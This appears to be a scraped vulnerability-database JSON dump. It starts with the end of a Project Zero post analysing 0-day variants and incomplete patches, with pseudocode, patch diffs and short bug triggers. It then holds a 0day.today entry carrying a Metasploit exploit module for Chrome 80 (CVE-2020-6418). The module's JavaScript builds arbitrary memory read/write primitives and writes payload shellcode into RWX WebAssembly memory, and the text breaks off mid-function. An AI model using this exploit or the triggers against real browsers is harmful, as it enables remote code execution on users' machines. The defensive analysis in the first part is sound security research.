stream:\n\nReadStream::Inner::CloseStream\n\nReadStream::Inner::Close\n\nReadStream::Inner::NoteClosed\n\n\u2026\n\nStreamControl::NoteClosed\n\nStreamControl::ForgetReadStream\n\nCacheStreamControlParent/Child::NoteClosedAfterForget\n\nCacheStreamControlParent::RecvNoteClosed\n\nStreamList::NoteClosed\n\nIf StreamList is empty && mStreamControl:\n\nCacheStreamControlParent::Shutdown\n\nSend__delete(this) \u2190 FREED HERE!\n\nPCacheStreamControlParent::SendCloseAll \u2190 Used here in call to Id() \n \n--- \n \nCVE-2020-6820 is a variant of an internally found Mozilla vulnerability, [Bug 1507180](<https://bugzilla.mozilla.org/show_bug.cgi?id=1507180>). 1507180 was discovered in November 2018 and [patched in December 2019](<https://hg.mozilla.org/mozilla-central/rev/cdf525897bff>). 1507180 is a use-after-free of the ReadStream in mReadStreamList in StreamList::CloseAll. While it was patched in December, [an explanatory comment](<https://hg.mozilla.org/mozilla-central/rev/25beb671c14a>) for why the December 2019 patch was needed was added in early March 2020. \n\nFor 150718 the execution path was the same as for CVE-2020-6820 except that the the use-after-free occurred earlier, in StreamControl::CloseAllReadStreams rather than a few calls \u201chigher\u201d in StreamList::CloseAll.\n\nIn my personal opinion, I have doubts about whether or not this vulnerability was actually exploited in-the-wild. As far as we know, no one (including myself or Mozilla engineers [[1](<https://bugzilla.mozilla.org/show_bug.cgi?id=1626728#c15>), [2](<https://bugzilla.mozilla.org/show_bug.cgi?id=1507180#c10>)]), has found a way to trigger this exploit without shutting down the process. Therefore, exploiting this vulnerability doesn\u2019t seem very practical. However, because it was marked as exploited in-the-wild in the advisory, it remains in our [in-the-wild tracking spreadsheet](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=1869060786>) and thus included in this list.\n\n## Chrome for Android CVE-2020-6572\n\n[CVE-2020-6572](<https://chromereleases.googleblog.com/2020/04/stable-channel-update-for-desktop_7.html>) is use-after-free in MediaCodecAudioDecoder::~MediaCodecAudioDecoder(). This is Android-specific code that uses Android's media decoding APIs to support playback of DRM-protected media on Android. The root of this use-after-free is that a `unique_ptr` is assigned to another, going out of scope which means it can be deleted, while at the same time a raw pointer from the originally referenced object isn't updated. \n\nMore specifically, MediaCodecAudioDecoder::Initialize doesn't reset media_crypto_context_ if media_crypto_ has been previously set. This can occur if MediaCodecAudioDecoder::Initialize is called twice, which is explicitly supported. This is problematic when the second initialization uses a different CDM than the first one. Each CDM owns the media_crypto_context_ object, and the CDM itself (cdm_context_ref_) is a `unique_ptr`. Once the new CDM is set, the old CDM loses a reference and may be destructed. However, MediaCodecAudioDecoder still holds a raw pointer to media_crypto_context_ from the old CDM since it wasn't updated, which results in the use-after-free on media_crypto_context_ (for example, in MediaCodecAudioDecoder::~MediaCodecAudioDecoder). \n\nThis vulnerability that was exploited in-the-wild was reported in April 2020. 7 months prior, in September 2019, Man Yue Mo of Semmle [reported a very similar vulnerability](<https://bugs.chromium.org/p/chromium/issues/detail?id=1004730>), [CVE-2019-13695](<https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop.html>). CVE-2019-13695 is also a use-after-free on a dangling media_crypto_context_ in MojoAudioDecoderService after releasing the cdm_context_ref_. This vulnerability is essentially the same bug as CVE-2020-6572, it\u2019s just triggered by an error path after initializing MojoAudioDecoderService twice rather than by reinitializing the MediaCodecAudioDecoder.\n\nIn addition, in August 2019, Guang Gong of Alpha Team, Qihoo 360 reported another similar vulnerability in the same component. The [vulnerability](<https://bugs.chromium.org/p/chromium/issues/detail?id=999311>) is where the CDM could be registered twice (e.g. MojoCdmService::Initialize could be called twice) leading to use-after-free. When MojoCdmService::Initialize was called twice there would be two map entries in cdm_services_, but only one would be removed upon destruction, and the other was left dangling. This vulnerability is [CVE-2019-5870](<https://chromereleases.googleblog.com/2019/09/stable-channel-update-for-desktop.html>). Guang Gong used this vulnerability as a part of an Android exploit chain. He presented on this exploit chain at Blackhat USA 2020, \u201c[TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices](<https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf>)\u201d. \n\nWhile one could argue that the vulnerability from Guang Gong is not a variant of the vulnerability exploited in-the-wild, it was at the very least an early indicator that the Mojo CDM code for Android had life-cycle issues and needed a closer look. This [was noted in the issue tracker ](<https://bugs.chromium.org/p/chromium/issues/detail?id=999311#c8>)for CVE-2019-5870 and then [brought up again](<https://bugs.chromium.org/p/chromium/issues/detail?id=1004730#c1>) after Man Yue Mo reported CVE-2019-13695.\n\n## Windows splwow64 CVE-2020-0986\n\n[CVE-2020-0986](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0986>) is an arbitrary pointer dereference in Windows splwow64. Splwow64 is executed any time a 32-bit application wants to print a document. It runs as a Medium integrity process. Internet Explorer runs as a 32-bit application and a Low integrity process. Internet Explorer can send LPC messages to splwow64. CVE-2020-0986 allows an attacker in the Internet Explorer process to control all three arguments to a memcpy call in the more privileged splwow64 address space. The only difference between CVE-2020-0986 and [CVE-2019-0880](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0880>), which was also exploited in-the-wild, is that CVE-2019-0880 exploited the memcpy by sending message type 0x75 and CVE-2020-0986 exploits it by sending message type 0x6D. \n\nFrom this [great write-up from ByteRaptors](<https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html>) on CVE-2019-0880 the pseudo code that allows the controlling of the memcpy is:\n\nvoid GdiPrinterThunk(LPVOID firstAddress, LPVOID secondAddress, LPVOID thirdAddress)\n\n{\n\n...\n\nif(*((BYTE*)(firstAddress + 0x4)) == 0x75){\n\nULONG64 memcpyDestinationAddress = *((ULONG64*)(firstAddress + 0x20));\n\nif(memcpyDestinationAddress != NULL){\n\nULONG64 sourceAddress = *((ULONG64*)(firstAddress + 0x18));\n\nDWORD copySize = *((DWORD*)(firstAddress + 0x28));\n\nmemcpy(memcpyDestinationAddress,sourceAddress,copySize);\n\n}\n\n}\n\n...\n\n} \n \n--- \n \nThe equivalent pseudocode for CVE-2020-0986 is below. Only the message type (0x75 to 0x6D) and the offsets of the controlled memcpy arguments changed as highlighted below.\n\nvoid GdiPrinterThunk(LPVOID msgSend, LPVOID msgReply, LPVOID arg3)\n\n{\n\n...\n\nif(*((BYTE*)(msgSend + 0x4)) == 0x6D){\n\n...\n\nULONG64 srcAddress = **((ULONG64 **)(msgSend + 0xA));\n\nif(srcAddress != NULL){\n\nDWORD copySize = *((DWORD*)(msgSend + 0x40));\n\nif(copySize <= 0x1FFFE) {\n\nULONG64 destAddress = *((ULONG64*)(msgSend + 0xB));\n\nmemcpy(destAddress,sourceAddress,copySize);\n\n}\n\n}\n\n...\n\n} \n \n--- \n \nIn addition to CVE-2020-0986 being a trivial variant of a previous in-the-wild vulnerability, CVE-2020-0986 was also not patched completely and the vulnerability was still exploitable even after the patch was applied. This is detailed in the \u201cExploited 0-days not properly fixed\u201d section below.\n\n## Freetype CVE-2020-15999\n\nIn October 2020, Project Zero discovered multiple exploit chains being used in the wild. The exploit chains targeted iPhone, Android, and Windows users, but they all shared the same Freetype RCE to exploit the Chrome renderer, [CVE-2020-15999](<https://chromereleases.googleblog.com/2020/10/stable-channel-update-for-desktop_20.html>). [The vulnerability is a heap buffer overflow](<https://savannah.nongnu.org/bugs/?59308>) in the Load_SBit_Png function. The vulnerability was being triggered by an integer truncation. `Load_SBit_Png` processes PNG images embedded in fonts. The image width and height are stored in the PNG header as 32-bit integers. Freetype then truncated them to 16-bit integers. This truncated value was used to calculate the bitmap size and the backing buffer is allocated to that size. However, the original 32-bit width and height values of the bitmap are used when reading the bitmap into its backing buffer, thus causing the buffer overflow.\n\nIn November 2014, Project Zero team member [Mateusz Jurczyk reported CVE-2014-9665](<https://bugs.chromium.org/p/project-zero/issues/detail?id=168>) to Freetype. CVE-2014-9665 is also a heap buffer overflow in the Load_SBit_Png function. This one was triggered differently though. In CVE-2014-9665, when calculating the bitmap size, the size variable is vulnerable to an integer overflow causing the backing buffer to be too small. \n\nTo patch CVE-2014-9665, [Freetype added a check to the rows and width](<http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/src/sfnt/pngshim.c?id=54abd22891bd51ef8b533b24df53b3019b5cee81>) prior to calculating the size as shown below.\n\nif ( populate_map_and_metrics )\n\n{\n\nFT_Long size;\n\nmetrics->width = (FT_Int)imgWidth;\n\nmetrics->height = (FT_Int)imgHeight;\n\nmap->width = metrics->width;\n\nmap->rows = metrics->height;\n\nmap->pixel_mode = FT_PIXEL_MODE_BGRA;\n\nmap->pitch = map->width * 4;\n\nmap->num_grays = 256;\n\n+ /* reject too large bitmaps similarly to the rasterizer */\n\n+ if ( map->rows > 0x7FFF || map->width > 0x7FFF )\n\n+ {\n\n+ error = FT_THROW( Array_Too_Large );\n\n+ goto DestroyExit;\n\n+ }\n\nsize = map->rows * map->pitch; <- overflow size\n\nerror = ft_glyphslot_alloc_bitmap( slot, size );\n\nif ( error )\n\ngoto DestroyExit;\n\n} \n \n--- \n \nTo patch CVE-2020-15999, the vulnerability exploited in the wild in 2020, this check was moved up earlier in the `Load_Sbit_Png` function and changed to `imgHeight` and `imgWidth`, the width and height values that are included in the header of the PNG. \n\nif ( populate_map_and_metrics )\n\n{\n\n+ /* reject too large bitmaps similarly to the rasterizer */\n\n+ if ( imgWidth > 0x7FFF || imgHeight > 0x7FFF )\n\n+ {\n\n+ error = FT_THROW( Array_Too_Large );\n\n+ goto DestroyExit;\n\n+ }\n\n+\n\nmetrics->width = (FT_UShort)imgWidth;\n\nmetrics->height = (FT_UShort)imgHeight;\n\nmap->width = metrics->width;\n\nmap->rows = metrics->height;\n\nmap->pixel_mode = FT_PIXEL_MODE_BGRA;\n\nmap->pitch = map->width * 4;\n\nmap->num_grays = 256;\n\n- /* reject too large bitmaps similarly to the rasterizer */\n\n- if ( map->rows > 0x7FFF || map->width > 0x7FFF )\n\n- {\n\n- error = FT_THROW( Array_Too_Large );\n\n- goto DestroyExit;\n\n- }\n\n[...] \n \n--- \n \nTo summarize: \n\n * CVE-2014-9665 caused a buffer overflow by overflowing the size field in the size = map->rows * map->pitch; calculation.\n * CVE-2020-15999 caused a buffer overflow by truncating metrics->width and metrics->height which are then used to calculate the size field, thus causing the size field to be too small.\n\nA fix for the root cause of the buffer overflow in November 2014 would have been to bounds check imgWidth and imgHeight prior to any assignments to an unsigned short. Including the bounds check of the height and widths from the PNG headers early would have prevented both manners of triggering this buffer overflow. \n\n## Apple Safari CVE-2020-27930\n\nThis vulnerability is slightly different than the rest in that while it\u2019s still a variant, it\u2019s not clear that by current disclosure norms, one would have necessarily expected Apple to have picked up the patch. Apple and Microsoft both forked the Adobe Type Manager code over 20 years ago. Due to the forks, there\u2019s no true \u201cupstream\u201d. However when vulnerabilities were reported in Microsoft\u2019s, Apple\u2019s, or Adobe\u2019s fork, there is a possibility (though no guarantee) that it was also in the others.\n\nCVE-2020-27930 vulnerability was used in an exploit chain for iOS. The [variant, CVE-2015-0993, was reported](<http://bugs.chromium.org/p/project-zero/issues/detail?id=180>) to Microsoft in November 2014. In CVE-2015-0993, the vulnerability is in the blend operator in Microsoft\u2019s implementation of Adobe\u2019s Type 1/2 Charstring Font Format. The blend operation takes n + 1 parameters. The vulnerability is that it did not validate or handle correctly when n is negative, allowing the font to arbitrarily read and write on the native interpreter stack. \n\n[CVE-2020-27930](<https://support.apple.com/en-us/HT211929>), the vulnerability exploited in-the-wild in 2020, is very similar. The vulnerability this time is in the callothersubr operator in Apple\u2019s implementation of Adobe\u2019s Type 1 Charstring Font Format. In the same way as the vulnerability reported in November 2014, callothersubr expects n arguments from the stack. However, the function did not validate nor handle correctly negative values of n, leading to the same outcome of arbitrary stack read/write. \n\nSix years after the original vulnerability was reported, a similar vulnerability was exploited in a different project. This presents an interesting question: How do related, but separate, projects stay up-to-date on security vulnerabilities that likely exist in their fork of a common code base? There\u2019s little doubt that reviewing the vulnerability Microsoft fixed in 2015 would help the attackers discover this vulnerability in Apple.\n\n# Exploited 0-days not properly fixed\u2026 \ud83d\ude2d\n\nThree vulnerabilities that were exploited in-the-wild were not properly fixed after they were reported to the vendor. \n\nProduct\n\n| \n\nVulnerability that was exploited in-the-wild\n\n| \n\n2nd patch \n \n---|---|--- \n \nInternet Explorer\n\n| \n\nCVE-2020-0674\n\n| \n\nCVE-2020-0968 \n \nGoogle Chrome\n\n| \n\nCVE-2019-13764*\n\n| \n\nCVE-2020-6383 \n \nMicrosoft Windows\n\n| \n\nCVE-2020-0986\n\n| \n\nCVE-2020-17008/CVE-2021-1648 \n \n* when CVE-2019-13764 was patched, it was not known to be exploited in-the-wild \n \n## Internet Explorer JScript CVE-2020-0674\n\nIn the section above, we detailed the timeline of the Internet Explorer JScript vulnerabilities that were exploited in-the-wild. After the most recent vulnerability, CVE-2020-0674, was exploited in January 2020, it still didn\u2019t comprehensively fix all of the variants. Microsoft patched [CVE-2020-0968](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968>) in April 2020. We show the trigger in the section above.\n\n## Google Chrome CVE-2019-13674\n\n[CVE-2019-13674](<https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html>) in Chrome is an interesting case. When it was [patched in November 2019](<https://chromium.googlesource.com/v8/v8/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1>), it was not known to be exploited in-the-wild. Instead, [it was reported by security researchers Soyeon Park and Wen Xu](<https://bugs.chromium.org/p/chromium/issues/detail?id=1028863>). Three months later, in February 2020, Sergei Glazunov of Project Zero discovered that it was exploited in-the-wild, and may have been exploited as a 0-day prior to the patch. When Sergei realized it had already been patched, he decided to look a little closer at the patch. That\u2019s when he realized that the patch didn\u2019t fix all of the paths to trigger the vulnerability. To read about the vulnerability and the subsequent patches in greater detail, check out Sergei\u2019s blog post, \u201c[Chrome Infinity Bug](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>)\u201d. \n\nTo summarize, the vulnerability is a type confusion in Chrome\u2019s v8 Javascript engine. The issue is in the function that is designed to compute the type of induction variables, the variable that gets increased or decreased by a fixed amount in each iteration of a loop, such as a for loop. The algorithm works only on v8\u2019s integer type though. The integer type in v8 includes a few special values, +Infinity and -Infinity. -0 and NaN do not belong to the integer type though. Another interesting aspect to v8\u2019s integer type is that it is not closed under addition meaning that adding two integers doesn\u2019t always result in an integer. An example of this is +Infinity + -Infinity = NaN. \n\nTherefore, the following line is sufficient to trigger CVE-2019-13674. Note that this line will not show any observable crash effects and the road to making this vulnerability exploitable is quite long, check out [this blog post](<https://googleprojectzero.blogspot.com/>) if you\u2019re interested! \n\nfor (var i = -Infinity; i < 0; i += Infinity) { } \n \n--- \n \n[The patch](<https://chromium.googlesource.com/v8/v8.git/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1>) that Chrome released for this vulnerability added an explicit check for the NaN case. But the patch made an assumption that leads to it being insufficient: that the loop variable can only become NaN if the sum or difference of the initial value of the variable and the increment is NaN. The issue is that the value of the increment can change inside the loop body. Therefore the following trigger would still work even after the patch was applied.\n\nvar increment = -Infinity;\n\nvar k = 0;\n\n// The initial loop value is 0 and the increment is -Infinity.\n\n// This is permissible because 0 + -Infinity = -Infinity, an integer.\n\nfor (var i = 0; i < 1; i += increment) {\n\nif (i == -Infinity) {\n\n// Once the initial variable equals -Infinity (one loop through)\n\n// the increment is changed to +Infinity. -Infinity + +Infinity = NaN\n\nincrement = +Infinity;\n\n}\n\nif (++k > 10) {\n\nbreak;\n\n}\n\n} \n \n--- \n \nTo \u201crevive\u201d the entire exploit, the attacker only needed to change a couple of lines in the trigger to have another working 0-day. [This incomplete fix was reported](<https://bugs.chromium.org/p/chromium/issues/detail?id=1051017>) to Chrome in February 2020. [This patch](<https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484>) was more conservative: it bailed as soon as the type detected that increment can be +Infinity or -Infinity. \n\nUnfortunately, this patch introduced an additional security vulnerability, which allowed for a wider choice of possible \u201ctype confusions\u201d. Again, check out [Sergei\u2019s blog post](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>) if you\u2019re interested in more details. \n\nThis is an example where the exploit is found after the bug was initially reported by security researchers. As an aside, I think this shows why it\u2019s important to work towards \u201ccorrect & comprehensive\u201d patches in general, not just vulnerabilities known to be exploited in-the-wild. The security industry [knows there is a detection gap](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>) in our ability to detect 0-days exploited in-the-wild. We don\u2019t find and detect all exploited 0-days and we certainly don\u2019t find them all in a timely manner. \n\n## Windows splwow64 CVE-2020-0986\n\nThis vulnerability has already been discussed in the previous section on variants. After [Kaspersky reported that CVE-2020-0986 was actively exploited](<https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/>) as a 0-day, I began performing root cause analysis and variant analysis on the vulnerability. The vulnerability was patched in June 2020, but it was only[ disclosed as exploited in-the-wild in August 2020](<https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/>). \n\nMicrosoft\u2019s patch for CVE-2020-0986 replaced the raw pointers that an attacker could previously send through the LPC message, with offsets. This didn\u2019t fix the root cause vulnerability, just changed how an attacker would trigger the vulnerability. [This issue was reported](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2096>) to Microsoft in September 2020, including a working trigger. Microsoft released a more complete patch for the vulnerability in January 2021, four months later. This new patch checks that all memcpy operations are only reading from and copying into the buffer of the message.\n\n# Correct and comprehensive patches\n\nWe\u2019ve detailed how six 0-days that were exploited in-the-wild in 2020 were closely related to vulnerabilities that had been seen previously. We also showed how three vulnerabilities that were exploited in-the-wild were either not fixed correctly or not fixed comprehensively when patched this year. \n\nWhen 0-day exploits are detected in-the-wild, it\u2019s the failure case for an attacker. It\u2019s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can\u2019t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that, we need correct and comprehensive fixes. \n\nBeing able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done.\n\nExactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.\n\nWhile the aim is that one day all vulnerabilities will be fixed correctly and comprehensively, each step we take in that direction will make it harder for attackers to exploit 0-days.\n\nIn 2021, Project Zero will continue completing root cause and variant analyses for vulnerabilities reported as in-the-wild. We will also be looking over the patches for these exploited vulnerabilities with more scrutiny. We hope to also expand our work into variant analysis work on other vulnerabilities as well. We hope more researchers will join us in this work. (If you\u2019re an aspiring vulnerability researcher, variant analysis could be a great way to begin building your skills! Here are two conference talks on the topic: [my talk at BluehatIL 2020](<https://www.youtube.com/watch?v=mC1Pwsdy814>) and [Ki Chan Ahn at OffensiveCon 2020](<https://www.youtube.com/watch?v=fTNzylTMYks>).)\n\nIn addition, we would really like to work more closely with vendors on patches and mitigations prior to the patch being released. We often have ideas of how issues can be addressed. Early collaboration and offering feedback during the patch design and implementation process is good for everyone. Researchers and vendors alike can save time, resources, and energy by working together, rather than patch diffing a binary after release and realizing the vulnerability was not completely fixed.\n", "modified": "2021-02-03T00:00:00", "published": "2021-02-03T00:00:00", "id": "GOOGLEPROJECTZERO:A596034F451F58030932B2FC46FB6F38", "href": "https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html", "type": "googleprojectzero", "title": "\nD\u00e9j\u00e0 vu-lnerability\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2020-03-06T15:10:06", "description": "This Metasploit module exploits an issue in Google Chrome version 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.", "edition": 1, "published": "2020-03-06T00:00:00", "title": "Google Chrome 80 JSCreate Side-Effect Type Confusion Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-6418"], "modified": "2020-03-06T00:00:00", "id": "1337DAY-ID-34056", "href": "https://0day.today/exploit/description/34056", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ManualRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::Remote::HttpServer\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',\r\n 'Description' => %q{\r\n This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit\r\n corrupts the length of a float array (float_rel), which can then be used for out\r\n of bounds read and write on adjacent memory.\r\n The relative read and write is then used to modify a UInt64Array (uint64_aarw)\r\n which is used for read and writing from absolute memory.\r\n The exploit then uses WebAssembly in order to allocate a region of RWX memory,\r\n which is then replaced with the payload shellcode.\r\n The payload is executed within the sandboxed renderer process, so the browser\r\n must be run with the --no-sandbox option for the payload to work correctly.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' => [\r\n 'Cl\u00e9ment Lecigne', # discovery\r\n 'Istv\u00e1n Kurucsai', # exploit\r\n 'Vignesh S Rao', # exploit\r\n 'timwr', # metasploit copypasta\r\n ],\r\n 'References' => [\r\n ['CVE', '2020-6418'],\r\n ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],\r\n ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],\r\n ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],\r\n ],\r\n 'Arch' => [ ARCH_X64 ],\r\n 'DefaultTarget' => 0,\r\n 'Targets' =>\r\n [\r\n ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],\r\n ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],\r\n ],\r\n 'DisclosureDate' => 'Feb 19 2020'))\r\n register_advanced_options([\r\n OptBool.new('DEBUG_EXPLOIT', [false, \"Show debug information during exploitation\", false]),\r\n ])\r\n end\r\n\r\n def on_request_uri(cli, request)\r\n if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}\r\n print_status(\"[*] #{request.body}\")\r\n send_response(cli, '')\r\n return\r\n end\r\n\r\n print_status(\"Sending #{request.uri} to #{request['User-Agent']}\")\r\n escaped_payload = Rex::Text.to_unescape(payload.raw)\r\n jscript = %Q^\r\nvar shellcode = unescape(\"#{escaped_payload}\");\r\n\r\n// HELPER FUNCTIONS\r\nlet conversion_buffer = new ArrayBuffer(8);\r\nlet float_view = new Float64Array(conversion_buffer);\r\nlet int_view = new BigUint64Array(conversion_buffer);\r\nBigInt.prototype.hex = function() {\r\n return '0x' + this.toString(16);\r\n};\r\nBigInt.prototype.i2f = function() {\r\n int_view[0] = this;\r\n return float_view[0];\r\n}\r\nBigInt.prototype.smi2f = function() {\r\n int_view[0] = this << 32n;\r\n return float_view[0];\r\n}\r\nNumber.prototype.f2i = function() {\r\n float_view[0] = this;\r\n return int_view[0];\r\n}\r\nNumber.prototype.f2smi = function() {\r\n float_view[0] = this;\r\n return int_view[0] >> 32n;\r\n}\r\n\r\nNumber.prototype.fhw = function() {\r\n float_view[0] = this;\r\n return int_view[0] >> 32n;\r\n}\r\n\r\nNumber.prototype.flw = function() {\r\n float_view[0] = this;\r\n return int_view[0] & BigInt(2**32-1);\r\n}\r\n\r\nNumber.prototype.i2f = function() {\r\n return BigInt(this).i2f();\r\n}\r\nNumber.prototype.smi2f = function() {\r\n return BigInt(this).smi2f();\r\n}\r\n\r\nfunction hex(a) {\r\n return a.toString(16);\r\n}\r\n\r\n//\r\n// EXPLOIT\r\n//\r\n\r\n// the number of holes here determines the OOB write offset\r\nlet vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];\r\nvar float_rel; // float array, initially corruption target\r\nvar float_carw; // float array, used for reads/writes within the compressed heap\r\nvar uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space\r\nvar obj_leaker; // used to implement addrof\r\nvuln.pop();\r\nvuln.pop();\r\nvuln.pop();\r\n\r\nfunction empty() {}\r\n\r\nfunction f(nt) {\r\n // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug\r\n vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);\r\n for (var i = 0; i < 0x10000; ++i) {};\r\n}\r\n\r\nlet p = new Proxy(Object, {\r\n get: function() {\r\n vuln[0] = {};\r\n float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];\r\n float_carw = [6.6];\r\n uint64_aarw = new BigUint64Array(4);\r\n obj_leaker = {\r\n a: float_rel,\r\n b: float_rel,\r\n };\r\n\r\n return Object.prototype;\r\n }\r\n});\r\n\r\nfunction main(o) {\r\n for (var i = 0; i < 0x10000; ++i) {};\r\n return f(o);\r\n}\r\n\r\n// reads 4 bytes from the compressed heap at the specified dword offset after float_rel\r\nfunction crel_read4(offset) {\r\n var qw_offset = Math.floor(offset / 2);\r\n if (offset & 1 == 1) {\r\n return float_rel[qw_offset].fhw();\r\n } else {\r\n return float_rel[qw_offset].flw();\r\n }\r\n}\r\n\r\n// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel\r\nfunction crel_write4(offset, val) {\r\n var qw_offset = Math.floor(offset / 2);\r\n // we are writing an 8-byte double under the hood\r\n // read out the other half and keep its value\r\n if (offset & 1 == 1) {\r\n temp = float_rel[qw_offset].flw();\r\n new_val = (val << 32n | temp).i2f();\r\n float_rel[qw_offset] = new_val;\r\n } else {\r\n temp = float_rel[qw_offset].fhw();\r\n new_val = (temp << 32n | val).i2f();\r\n float_rel[qw_offset] = new_val;\r\n }\r\n}\r\n\r\nconst float_carw_elements_offset = 0x14;\r\n\r\nfunction cabs_read4(caddr) {\r\n elements_addr = caddr - 8n | 1n;\r\n crel_write4(float_carw_elements_offset, elements_addr);\r\n print('cabs_read4: ' + hex(float_carw[0].f2i()));\r\n res = float_carw[0].flw();\r\n // TODO restore elements ptr\r\n return res;\r\n}\r\n\r\n\r\n// This function provides arbitrary within read the compressed heap\r\nfunction cabs_read8(caddr) {\r\n elements_addr = caddr - 8n | 1n;\r\n crel_write4(float_carw_elements_offset, elements_addr);\r\n print('cabs_read8: ' + hex(float_carw[0].f2i()));\r\n res = float_carw[0].f2i();\r\n // TODO restore elements ptr\r\n return res;\r\n}\r\n\r\n// This function provides arbitrary write within the compressed heap\r\nfunction cabs_write4(caddr, val) {\r\n elements_addr = caddr - 8n | 1n;\r\n\r\n temp = cabs_read4(caddr + 4n | 1n);\r\n print('cabs_write4 temp: '+ hex(temp));\r\n\r\n new_val = (temp << 32n | val).i2f();\r\n\r\n crel_write4(float_carw_elements_offset, elements_addr);\r\n print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));\r\n\r\n float_carw[0] = new_val;\r\n // TODO restore elements ptr\r\n return res;\r\n}\r\n\r\nconst objleaker_offset = 0x41;\r\nfunction addrof(o) {\r\n obj_leaker.b = o;\r\n addr = crel_read4(objleaker_offset) & BigInt(2**32-2);\r\n obj_leaker.b = {};\r\n return addr;\r\n}\r\n\r\nconst uint64_externalptr_offset = 0x1b; // in 8-bytes\r\n\r\n// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array\r\nfunction read8(addr) {\r\n faddr = addr.i2f();\r\n t1 = float_rel[uint64_externalptr_offset];\r\n t2 = float_rel[uint64_externalptr_offset + 1];\r\n float_rel[uint64_externalptr_offset] = faddr;\r\n float_rel[uint64_externalptr_offset + 1] = 0.0;\r\n\r\n val = uint64_aarw[0];\r\n\r\n float_rel[uint64_externalptr_offset] = t1;\r\n float_rel[uint64_externalptr_offset + 1] = t2;\r\n return val;\r\n}\r\n\r\n// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array\r\nfunction write8(addr, val) {\r\n faddr = addr.i2f();\r\n t1 = float_rel[uint64_externalptr_offset];\r\n t2 = float_rel[uint64_externalptr_offset + 1];\r\n float_rel[uint64_externalptr_offset] = faddr;\r\n float_rel[uint64_externalptr_offset + 1] = 0.0;\r\n\r\n uint64_aarw[0] = val;\r\n\r\n float_rel[uint64_externalptr_offset] = t1;\r\n float_rel[uint64_externalptr_offset + 1] = t2;\r\n return val;\r\n}\r\n\r\n// Given an array of bigints, this will write all the elements to the address provided as argument\r\nfunction writeShellcode(addr, sc) {\r\n faddr = addr.i2f();\r\n t1 = float_rel[uint64_externalptr_offset];\r\n t2 = float_rel[uint64_externalptr_offset + 1];\r\n float_rel[uint64_externalptr_offset - 1] = 10;\r\n float_rel[uint64_externalptr_offset] = faddr;\r\n float_rel[uint64_externalptr_offset + 1] = 0.0;\r\n\r\n for (var i = 0; i < sc.length; ++i) {\r\n uint64_aarw[i] = sc[i]\r\n 